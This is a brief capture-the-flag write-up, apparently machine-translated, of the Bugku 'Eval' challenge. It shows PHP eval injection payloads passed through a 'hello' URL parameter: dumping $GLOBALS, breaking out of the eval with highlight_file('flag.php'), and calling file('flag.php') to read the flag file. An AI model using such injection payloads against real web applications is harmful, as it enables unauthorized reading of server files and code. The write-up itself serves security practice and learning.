Bugku's Eval

Open the connection

The title looks familiar , It's similar to the question I wrote before

i Spring and autumn blasting -1_l2872253606 The blog of -CSDN Blog

i Spring and autumn blasting -2_l2872253606 The blog of -CSDN Blog

The above article is more detailed than the following

utilize eval function , First, check the global variables

structure payload

url?hello=$GLOBALS

good heavens , I didn't find any flag, And was ridiculed

explain flag Is not a variable , It should be in flag.php It's annotated

structure Payload

url?hello=);highlight_file('flag.php');var_dump(

Get flag

Since it's in the document , It can also be done in another way , Utilization function

structure Payload

url?hello=file('flag.php')

Get the same flag